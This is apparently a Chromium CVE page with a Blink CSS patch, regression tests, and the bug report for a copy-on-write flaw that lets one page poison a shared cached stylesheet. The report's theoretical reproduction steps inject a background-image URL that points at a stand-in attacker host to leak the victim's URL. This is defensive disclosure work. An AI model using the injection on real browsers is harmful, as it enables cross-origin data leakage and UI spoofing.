CVE-2026-11156
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifthird_party/blink/renderer/core/css/style_rule.cc |
modified | |
StyleRuleCloneTestthird_party/blink/renderer/core/css/style_rule_test.cc |
modified | |
ifthird_party/blink/renderer/core/css/style_rule_test.cc |
modified | |
TEST_Pthird_party/blink/renderer/core/css/style_rule_test.cc |
modified |
Files Changed
third_party/blink/renderer/core/css/style_rule.ccthird_party/blink/renderer/core/css/style_rule.hthird_party/blink/renderer/core/css/style_rule_test.cc
Patch
From e87414ff9a639d5071278051457a1ad708e37e44 Mon Sep 17 00:00:00 2001 From: Anders Hartvoll Ruud <[email protected]> Date: Thu, 16 Apr 2026 05:22:13 -0700 Subject: [PATCH] Make StyleRuleBase::Clone() always clone Before CL:6943852, we had separate paths for deep-copying the rule tree (for e.g. StyleSheetContents copies) and for "re-nesting", which copied parts of the rule tree affected by a parent selector change. The unification accidentally left the kNestedDeclarations branch returning "this" in some cases, which is not correct as it could cause multiple StyleSheetContents objects to hold the same rule. The kApplyMixin and kContents branches have the same problem. Changed `DowncastTraits<StyleRuleGroup>` to include mixin/result rules. (Additional rules should ultimately be listed, see Issue 502048295). Otherwise test failures would be masked. Fixed: 501810226 Bug: 502048295 Change-Id: I17f1e5cda0981f5cc29e38bd7d65ec060f0b3e7c Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7755161 Reviewed-by: Steinar H Gunderson <[email protected]> Commit-Queue: Anders Hartvoll Ruud <[email protected]> Cr-Commit-Position: refs/heads/main@{#1615762} --- diff --git a/third_party/blink/renderer/core/css/style_rule.cc b/third_party/blink/renderer/core/css/style_rule.cc index cec08b7..aa1e8fc3 100644 --- a/third_party/blink/renderer/core/css/style_rule.cc +++ b/third_party/blink/renderer/core/css/style_rule.cc @@ -605,6 +605,19 @@ mixin_parameter_bindings)); } +HeapVector<CSSSelector> CloneSelectorListWithDummyFallback( + StyleRule* new_parent) { + if (new_parent) { + return CSSSelectorList::Copy(new_parent->FirstSelector()); + } + // A StyleRule cannot have an empty selector; create a dummy. + HeapVector<CSSSelector> selectors; + selectors.emplace_back(/*parent_rule=*/nullptr, /*is_implicit=*/true); + selectors.back().SetLastInSelectorList(true); + selectors.back().SetLastInComplexSelector(true); + return selectors; +} + // Make sure that the FakeParentRuleForDeclarations, if any, // gets our parent as parent. In particular, we'd like any // StyleRuleNestedDeclarations in there to get our selector @@ -615,14 +628,19 @@ StyleRule* old_inner_rule, StyleRule* new_parent, const MixinParameterBindings* mixin_parameter_bindings) { + if (!old_inner_rule) { + return nullptr; + } HeapVector<CSSSelector> selectors = - CSSSelectorList::Copy(new_parent->FirstSelector()); + CloneSelectorListWithDummyFallback(new_parent); auto* new_rule = StyleRule::Create( selectors, old_inner_rule->Properties().ImmutableCopyIfNeeded(), mixin_parameter_bindings); - for (StyleRuleBase* child_rule : *old_inner_rule->ChildRules()) { - new_rule->AddChildRule( - child_rule->Clone(new_rule, mixin_parameter_bindings)); + if (old_inner_rule->ChildRules()) { + for (StyleRuleBase* child_rule : *old_inner_rule->ChildRules()) { + new_rule->AddChildRule( + child_rule->Clone(new_rule, mixin_parameter_bindings)); + } } return new_rule; } @@ -701,9 +719,6 @@ case kApplyMixin: { auto* apply_rule = To<StyleRuleApplyMixin>(this); StyleRule* old_inner_rule = apply_rule->FakeParentRuleForDeclarations(); - if (!old_inner_rule || !old_inner_rule->ChildRules()) { - return this; - } return MakeGarbageCollected<StyleRuleApplyMixin>( apply_rule->GetName(), apply_rule->GetArguments(), CloneFakeParentRule(old_inner_rule, new_parent, @@ -712,15 +727,14 @@ case kContents: { auto* contents_rule = To<StyleRuleContentsStatement>(this); StyleRule* old_inner_rule = contents_rule->FakeParentRuleForFallback(); - if (!old_inner_rule || !old_inner_rule->ChildRules()) { - return this; - } return MakeGarbageCollected<StyleRuleContentsStatement>( CloneFakeParentRule(old_inner_rule, new_parent, mixin_parameter_bindings)); } case kNestedDeclarations: { auto* nested_declarations_rule = To<StyleRuleNestedDeclarations>(this); + HeapVector<CSSSelector> selectors; + StyleRule* old_inner_rule = nested_declarations_rule->InnerStyleRule(); // Nested declaration rules are different from regular nested style rules, // since they don't refer to their parent rule with any '&' selector. // Instead the outer selector list is *copied* parse-time. Now that we're @@ -731,11 +745,10 @@ // by @scope rules, however, since they always just behave like // :where(:scope). if (nested_declarations_rule->NestingType() == CSSNestingType::kScope) { - return this; + selectors = CSSSelectorList::Copy(old_inner_rule->FirstSelector()); + } else { + selectors = CloneSelectorListWithDummyFallback(new_parent); } - StyleRule* old_inner_rule = nested_declarations_rule->InnerStyleRule(); - HeapVector<CSSSelector> selectors = - CSSSelectorList::Copy(new_parent->FirstSelector()); auto* new_inner_rule = StyleRule::Create( selectors, old_inner_rule->Properties().ImmutableCopyIfNeeded(), mixin_parameter_bindings); diff --git a/third_party/blink/renderer/core/css/style_rule.h b/third_party/blink/renderer/core/css/style_rule.h index 4beff03..5b3fe99 100644 --- a/third_party/blink/renderer/core/css/style_rule.h +++ b/third_party/blink/renderer/core/css/style_rule.h @@ -864,7 +864,7 @@ rule.IsContainerRule() || rule.IsLayerBlockRule() || rule.IsScopeRule() || rule.IsStartingStyleRule() || rule.IsFunctionRule() || rule.IsPageRule() || - rule.IsNavigationRule(); + rule.IsNavigationRule() || rule.IsMixinRule() || rule.IsResultRule(); } }; diff --git a/third_party/blink/renderer/core/css/style_rule_test.cc b/third_party/blink/renderer/core/css/style_rule_test.cc index bdbd934..88f1cc0 100644 --- a/third_party/blink/renderer/core/css/style_rule_test.cc +++ b/third_party/blink/renderer/core/css/style_rule_test.cc @@ -5,14 +5,18 @@ #include "third_party/blink/renderer/core/css/style_rule.h" #include "base/functional/function_ref.h" +#include "third_party/blink/renderer/core/css/css_property_value_set.h" #include "third_party/blink/renderer/core/css/css_rule_list.h" #include "third_party/blink/renderer/core/css/css_scope_rule.h" #include "third_party/blink/renderer/core/css/css_style_rule.h" #include "third_party/blink/renderer/core/css/css_style_sheet.h" #include "third_party/blink/renderer/core/css/css_test_helpers.h" #include "third_party/blink/renderer/core/css/navigation_query.h" +#include "third_party/blink/renderer/core/css/style_rule_nested_declarations.h" +#include "third_party/blink/renderer/core/css/style_sheet_contents.h" #include "third_party/blink/renderer/core/dom/document.h" #include "third_party/blink/renderer/core/testing/page_test_base.h" +#include "third_party/blink/renderer/platform/heap/garbage_collected.h" #include "third_party/blink/renderer/platform/testing/runtime_enabled_features_test_helpers.h" #include "third_party/blink/renderer/platform/wtf/text/string_builder.h" @@ -581,4 +585,104 @@ EXPECT_FALSE(navigation_test); } +struct CloneTestParam { + const char* name; + const char* css; +}; + +class StyleRuleCloneTest : public StyleRuleTest, + public testing::WithParamInterface<CloneTestParam> { + protected: + void VerifyDifferent(const StyleRuleBase* rule1, const StyleRuleBase* rule2) { + ASSERT_TRUE(rule1); + ASSERT_TRUE(rule2); + EXPECT_NE(rule1, rule2); + ASSERT_EQ(rule1->GetType(), rule2->GetType()); + + if (auto* group1 = DynamicTo<StyleRuleGroup>(rule1)) { + auto* group2 = To<StyleRuleGroup>(rule2); + const HeapVector<Member<StyleRuleBase>>& c1 = group1->ChildRules(); + const HeapVector<Member<StyleRuleBase>>& c2 = group2->ChildRules(); + ASSERT_EQ(c1.size(), c2.size()); + for (wtf_size_t i = 0; i < c1.size(); ++i) { + VerifyDifferent(c1[i].Get(), c2[i].Get()); + } + } else if (auto* style1 = DynamicTo<StyleRule>(rule1)) { + auto* style2 = To<StyleRule>(rule2); + const GCedHeapVector<Member<StyleRuleBase>>* c1 = style1->ChildRules(); + const GCedHeapVector<Member<StyleRuleBase>>* c2 = style2->ChildRules(); + if (c1 && c2) { + ASSERT_EQ(c1->size(), c2->size()); + for (wtf_size_t i = 0; i < c1->size(); ++i) { + VerifyDifferent((*c1)[i].Get(), (*c2)[i].Get()); + } + } else { + EXPECT_FALSE(c1); + EXPECT_FALSE(c2); + } + } + } +}; + +TEST_P(StyleRuleCloneTest, CloneRulesAreDifferent) { + auto param = GetParam(); + CSSStyleSheet* sheet = css_test_helpers::CreateStyleSheet(GetDocument());
Regression Test / PoC
diff --git a/third_party/blink/renderer/core/css/style_rule_test.cc b/third_party/blink/renderer/core/css/style_rule_test.cc
index bdbd934..88f1cc0 100644
--- a/third_party/blink/renderer/core/css/style_rule_test.cc
+++ b/third_party/blink/renderer/core/css/style_rule_test.cc
@@ -5,14 +5,18 @@
#include "third_party/blink/renderer/core/css/style_rule.h"
#include "base/functional/function_ref.h"
+#include "third_party/blink/renderer/core/css/css_property_value_set.h"
#include "third_party/blink/renderer/core/css/css_rule_list.h"
#include "third_party/blink/renderer/core/css/css_scope_rule.h"
#include "third_party/blink/renderer/core/css/css_style_rule.h"
#include "third_party/blink/renderer/core/css/css_style_sheet.h"
#include "third_party/blink/renderer/core/css/css_test_helpers.h"
#include "third_party/blink/renderer/core/css/navigation_query.h"
+#include "third_party/blink/renderer/core/css/style_rule_nested_declarations.h"
+#include "third_party/blink/renderer/core/css/style_sheet_contents.h"
#include "third_party/blink/renderer/core/dom/document.h"
#include "third_party/blink/renderer/core/testing/page_test_base.h"
+#include "third_party/blink/renderer/platform/heap/garbage_collected.h"
#include "third_party/blink/renderer/platform/testing/runtime_enabled_features_test_helpers.h"
#include "third_party/blink/renderer/platform/wtf/text/string_builder.h"
@@ -581,4 +585,104 @@
EXPECT_FALSE(navigation_test);
}
+struct CloneTestParam {
+ const char* name;
+ const char* css;
+};
+
+class StyleRuleCloneTest : public StyleRuleTest,
+ public testing::WithParamInterface<CloneTestParam> {
+ protected:
+ void VerifyDifferent(const StyleRuleBase* rule1, const StyleRuleBase* rule2) {
+ ASSERT_TRUE(rule1);
+ ASSERT_TRUE(rule2);
+ EXPECT_NE(rule1, rule2);
+ ASSERT_EQ(rule1->GetType(), rule2->GetType());
+
+ if (auto* group1 = DynamicTo<StyleRuleGroup>(rule1)) {
+ auto* group2 = To<StyleRuleGroup>(rule2);
+ const HeapVector<Member<StyleRuleBase>>& c1 = group1->ChildRules();
+ const HeapVector<Member<StyleRuleBase>>& c2 = group2->ChildRules();
+ ASSERT_EQ(c1.size(), c2.size());
+ for (wtf_size_t i = 0; i < c1.size(); ++i) {
+ VerifyDifferent(c1[i].Get(), c2[i].Get());
+ }
+ } else if (auto* style1 = DynamicTo<StyleRule>(rule1)) {
+ auto* style2 = To<StyleRule>(rule2);
+ const GCedHeapVector<Member<StyleRuleBase>>* c1 = style1->ChildRules();
+ const GCedHeapVector<Member<StyleRuleBase>>* c2 = style2->ChildRules();
+ if (c1 && c2) {
+ ASSERT_EQ(c1->size(), c2->size());
+ for (wtf_size_t i = 0; i < c1->size(); ++i) {
+ VerifyDifferent((*c1)[i].Get(), (*c2)[i].Get());
+ }
+ } else {
+ EXPECT_FALSE(c1);
+ EXPECT_FALSE(c2);
+ }
+ }
+ }
+};
+
+TEST_P(StyleRuleCloneTest, CloneRulesAreDifferent) {
+ auto param = GetParam();
+ CSSStyleSheet* sheet = css_test_helpers::CreateStyleSheet(GetDocument());
+ sheet->SetText(param.css, CSSImportRules::kIgnoreWithWarning);
+ StyleSheetContents* contents1 = sheet->Contents();
+ StyleSheetContents* contents2 = contents1->Copy();
+
+ ASSERT_EQ(contents1->ChildRules().size(), contents2->ChildRules().size());
+ EXPECT_GT(contents1->ChildRules().size(), 0);
+
+ for (wtf_size_t i = 0; i < contents1->ChildRules().size(); ++i) {
+ VerifyDifferent(contents1->ChildRules()[i].Get(),
+ contents2->ChildRules()[i].Get());
+ }
+}
+
+INSTANTIATE_TEST_SUITE_P(
+ StyleRuleTest,
+ StyleRuleCloneTest,
+ testing::Values(
+ CloneTestParam{"NestedScopeDeclarations",
+ "@scope (div) { color: green; } "},
+ CloneTestParam{"NestedDeclarations",
+ "div { @media (width > 100px) { color: green; } }"},
+ CloneTestParam{"MixinContentsStatement",
+ "@mixin --m() { @result { @contents; } }"},
+ CloneTestParam{"MixinContentsEmptyBlock",
+ "@mixin --m() { @result { @contents {} } }"},
+ CloneTestParam{"MixinContentsNonEmptyBlock",
+ "@mixin --m() { @result { @contents { div {} } } }"},
+ CloneTestParam{"ApplyStatement", "div { @apply --m(); }"},
+ CloneTestParam{"ApplyEmptyBlock", "div { @apply --m() { } }"},
+ CloneTestParam{"ApplyNonEmptyBlock",
+ "div { @apply --m() { div {} } }"}),
+ [](const testing::TestParamInfo<StyleRuleCloneTest::ParamType>& info) {
+ return info.param.name;
+ });
+
+TEST_F(StyleRuleTest, CloneNestedDeclarationsNoParent) {
+ HeapVector<CSSSelector> selectors;
+ selectors.emplace_back(/*parent_rule=*/nullptr, /*is_implicit=*/true);
+ selectors.back().SetLastInSelectorList(true);
+ selectors.back().SetLastInComplexSelector(true);
+
+ auto* declarations =
+ MakeGarbageCollected<MutableCSSPropertyValueSet>(kHTMLStandardMode);
+
+ auto* inner_rule = StyleRule::Create(selectors, declarations,
+ /*mixin_parameter_bindings=*/nullptr);
+
+ StyleRuleBase* nested_declarations1 =
+ MakeGarbageCollected<StyleRuleNestedDeclarations>(
+ CSSNestingType::kNesting, inner_rule);
+
+ StyleRuleBase* nested_declarations2 = nested_declarations1->Clone(
+ /*new_parent=*/nullptr,
+ /*mixin_parameter_bindings=*/nullptr); // Don't crash.
+
+ EXPECT_NE(nested_declarations1, nested_declarations2);
+}
+
} // namespace blink
Original Bug Report
Same-Process CSS Poisoning via @scope COW failure
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team.
Overview: A logic error in StyleRuleBase::Clone() breaks the Copy-On-Write (COW) mechanism for CSS rules nested inside an @scope rule. When cloned, these rules return this instead of a deep copy, allowing an attacker to modify shared StyleSheetContents in the process cache. This can potentially lead to cross-origin data exfiltration or UI spoofing for documents sharing the renderer process.
Affected files:
third_party/blink/renderer/core/css/style_rule.ccthird_party/blink/renderer/core/css/css_style_sheet.ccthird_party/blink/renderer/core/css/style_sheet_contents.ccthird_party/blink/renderer/core/css/css_nested_declarations_rule.ccthird_party/blink/renderer/core/loader/resource/css_style_sheet_resource.cc
Estimated timestamp from git blame: 2025-10-24
Summary
A vulnerability in Blink’s CSS engine potentially allows for cross-document mutation of cached stylesheets. Due to a broken copy-on-write (COW) invariant in StyleRuleBase::Clone(), mutating an @scope rule via CSSOM can inadvertently poison a shared stylesheet stored in the renderer’s CSSStyleSheetResource cache. This enables same-site cross-origin CSS declaration injection, which can be leveraged for UI spoofing and information exfiltration.
Technical Details
When a CSSOM mutation is performed on a shared external stylesheet, CSSStyleSheet::WillMutateRules() performs copy-on-write by calling StyleSheetContents::Copy(). This operation is intended to create a deep clone of the stylesheet’s rule tree using StyleRuleBase::Clone().
However, in third_party/blink/renderer/core/css/style_rule.cc, the Clone() implementation for kNestedDeclarations contains a logic flaw:
case kNestedDeclarations: {
auto* nested_declarations_rule = To<StyleRuleNestedDeclarations>(this);
// ...
if (nested_declarations_rule->NestingType() == CSSNestingType::kScope) {
return this; // <--- The vulnerability
}
// ...
}
When cloning an @scope rule, the function returns the original StyleRuleNestedDeclarations object instead of a new instance. As a result, the “cloned” StyleSheetContents tree incorrectly aliases the original rule owned by the cached, immutable StyleSheetContents in CSSStyleSheetResource.
During the mutation process, CSSNestedDeclarationsRule::Reattach() re-binds the CSSOM wrapper to the shared rule’s property set. Subsequent modifications (e.g., via style.setProperty()) write directly into the shared MutableCSSPropertyValueSet. Because the original StyleSheetContents object’s is_mutable_ flag remains false, it continues to be served from the cache to other documents in the same renderer process.
Latent issues also exist for kApplyMixin and kContents branches in StyleRuleBase::Clone(), which also return this when they should return a clone.
Potential Impact
An attacker-controlled document can potentially inject arbitrary CSS declarations into the :where(:scope) block of an @scope rule in a shared stylesheet. This affects all same-process documents (typically same-site cross-origin) that load the same stylesheet. This could lead to:
- Information Exfiltration: Using
background-image: url(...)to leak the victim’s URL via theRefererheader. - UI Spoofing: Altering the appearance of elements within the
@scoperoot in the victim document. - Persistent Cache Poisoning: The shared stylesheet remains poisoned in the renderer’s memory cache for the duration of the process.
Potential Reproduction Steps
Note: Our agent does not have the ability to run code, so these are theoretical steps based on code analysis.
- Host a shared CSS file with
@scope (body) { color: green; }on a CORS-enabled origin. - Load an attacker page and a victim page (same-site, different origin) that both link to this stylesheet, ensuring they share a renderer process.
- In the attacker page, access the
@scoperule’s nested declarations via CSSOM and callsetProperty('background-image', 'url(https://attacker.test/probe)'). - Trigger a layout recalculation in the victim page. The victim page should apply the injected background image and issue a request to the attacker’s server with its own URL in the
Refererheader.
Suggested Fix
Modify StyleRuleBase::Clone() in third_party/blink/renderer/core/css/style_rule.cc to perform a proper deep clone for kNestedDeclarations when NestingType() == CSSNestingType::kScope. Ensure that kApplyMixin and kContents also correctly clone their inner rules instead of returning this.
Evaluated with Chrome root at commit: 096fc8fdbfacf2546485756d03f160a3d04fcc9b
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.